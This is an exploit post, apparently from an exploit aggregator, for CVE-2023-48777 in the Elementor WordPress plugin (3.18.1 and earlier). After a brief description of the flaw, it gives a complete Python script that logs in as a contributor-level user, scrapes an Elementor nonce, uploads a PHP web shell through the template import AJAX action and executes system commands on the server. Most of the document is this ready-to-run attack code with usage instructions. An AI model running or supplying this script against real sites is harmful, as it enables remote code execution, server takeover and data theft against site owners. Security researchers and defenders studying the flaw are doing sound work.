Share
## https://sploitus.com/exploit?id=PACKETSTORM:216389
=============================================================================================================================================
    | # Title     : WordPress Elementor 3.18.1 RCE Exploit                                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/elementor/                                                                                    |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/176112/ & CVE-2023-48777
    
    
    [+] Summary : 
              
             an authenticated arbitrary file upload vulnerability in Elementor Website Builder plugin for WordPress versions 3.18.1 and earlier. 
    		 The vulnerability allows attackers with contributor-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution and complete server compromise.
    		 The vulnerability exists in the template import functionality (elementor_import_template AJAX action) where files are saved to a temporary directory before proper file type validation occurs. 
    		 Failed validation does not trigger deletion of the temporary file.
    	
    [+] POC :  python poc.py
    
    ---
    
    #!/usr/bin/env python3
    """
    Elementor <= 3.18.1 RCE Exploit (CVE-2023-48777)
    Author: indoushka
    """
    
    import requests
    import base64
    import random
    import string
    import sys
    import json
    from urllib.parse import urljoin
    
    class ElementorRCE:
        def __init__(self, target, username, password):
            self.target = target.rstrip('/')
            self.session = requests.Session()
            self.username = username
            self.password = password
            self.nonce = None
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
        
        def login(self):
            """Authenticate with WordPress"""
            print("[*] Attempting WordPress login...")
            
            login_data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': f'{self.target}/wp-admin/',
                'testcookie': '1'
            }
            
            login_url = f"{self.target}/wp-login.php"
            
            # Get login cookies first
            self.session.get(login_url)
            
            # Perform login
            resp = self.session.post(login_url, data=login_data, allow_redirects=False)
            
            if 'wordpress_logged_in' in self.session.cookies:
                print("[+] Successfully logged in to WordPress")
                return True
            else:
                print("[-] Login failed")
                return False
        
        def get_nonce(self):
            """Get Elementor nonce for AJAX requests"""
            print("[*] Retrieving Elementor nonce...")
            
            urls_to_check = [
                f"{self.target}/wp-admin/admin-ajax.php",
                f"{self.target}/wp-admin/post-new.php",
                f"{self.target}/wp-admin/edit.php"
            ]
            
            for url in urls_to_check:
                resp = self.session.get(url)
                if resp.status_code == 200:
                    # Look for nonce in response
                    if 'elementor' in resp.text and 'nonce' in resp.text:
                        import re
                        nonce_patterns = [
                            r'elementor[\'"]?[-_]?nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"]',
                            r'nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"][^>]*elementor',
                            r'"nonce":"([a-f0-9]+)"[^}]*elementor'
                        ]
                        
                        for pattern in nonce_patterns:
                            matches = re.search(pattern, resp.text, re.IGNORECASE)
                            if matches:
                                self.nonce = matches.group(1)
                                print(f"[+] Found Elementor nonce: {self.nonce}")
                                return True
            
            print("[-] Could not find Elementor nonce")
            return False
        
        def upload_shell(self, php_code):
            """Upload PHP shell via Elementor template import"""
            print("[*] Uploading PHP shell...")
            
            # Method 1: Direct file upload
            filename = f"{self.random_string()}_template.php"
            
            files = {
                'fileToUpload': (filename, php_code, 'application/zip')
            }
            
            data = {
                'action': 'elementor_import_template',
                '_nonce': self.nonce
            }
            
            upload_url = f"{self.target}/wp-admin/admin-ajax.php"
            
            resp = self.session.post(upload_url, files=files, data=data)
            
            if resp.status_code == 200:
                try:
                    result = resp.json()
                    if result.get('success'):
                        shell_url = result['data']['file_url']
                        print(f"[+] Shell uploaded: {shell_url}")
                        return shell_url
                except:
                    # Try to extract URL from response
                    if 'file_url' in resp.text:
                        import re
                        match = re.search(r'"file_url":"([^"]+)"', resp.text)
                        if match:
                            shell_url = match.group(1).replace('\\/', '/')
                            print(f"[+] Shell uploaded: {shell_url}")
                            return shell_url
            
            # Method 2: Base64 upload
            print("[*] Trying base64 upload method...")
            return self.upload_via_base64(php_code)
        
        def upload_via_base64(self, php_code):
            """Upload via base64 encoded file data"""
            base64_data = base64.b64encode(php_code.encode()).decode()
            filename = f"{self.random_string()}.php"
            
            data = {
                'action': 'elementor_import_template',
                '_nonce': self.nonce,
                'fileData': base64_data,
                'fileName': filename
            }
            
            upload_url = f"{self.target}/wp-admin/admin-ajax.php"
            
            resp = self.session.post(upload_url, data=data)
            
            if resp.status_code == 200:
                try:
                    result = resp.json()
                    if result.get('success'):
                        shell_url = result['data']['file_url']
                        print(f"[+] Shell uploaded via base64: {shell_url}")
                        return shell_url
                except:
                    pass
            
            return None
        
        def execute_shell(self, shell_url):
            """Execute the uploaded shell"""
            print(f"[*] Executing shell at: {shell_url}")
            
            resp = self.session.get(shell_url)
            
            if resp.status_code == 200:
                print("[+] Shell executed successfully")
                return resp.text
            else:
                print(f"[-] Shell execution failed: HTTP {resp.status_code}")
                return None
        
        def random_string(self, length=8):
            """Generate random string"""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
        
        def exploit(self, command=None):
            """Main exploit method"""
            if not self.login():
                return False
            
            if not self.get_nonce():
                return False
            
            # Generate PHP shell
            if command:
                php_shell = f"<?php system('{command}'); ?>"
            else:
                php_shell = "<?php if(isset($_REQUEST['cmd'])){{system($_REQUEST['cmd']);}}?>"
            
            shell_url = self.upload_shell(php_shell)
            
            if shell_url:
                if command:
                    result = self.execute_shell(shell_url)
                    if result:
                        print(f"[+] Command output:\n{result}")
                else:
                    print(f"[+] Web shell ready: {shell_url}?cmd=whoami")
                    return shell_url
            
            return False
    
    def main():
        if len(sys.argv) < 4:
            print("Usage: python3 elementor_rce.py <target> <username> <password> [command]")
            print("Example: python3 elementor_rce.py http://localhost contributor password123 'id'")
            sys.exit(1)
        
        target = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        command = sys.argv[4] if len(sys.argv) > 4 else None
        
        exploit = ElementorRCE(target, username, password)
        exploit.exploit(command)
    
    if __name__ == "__main__":
        main()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================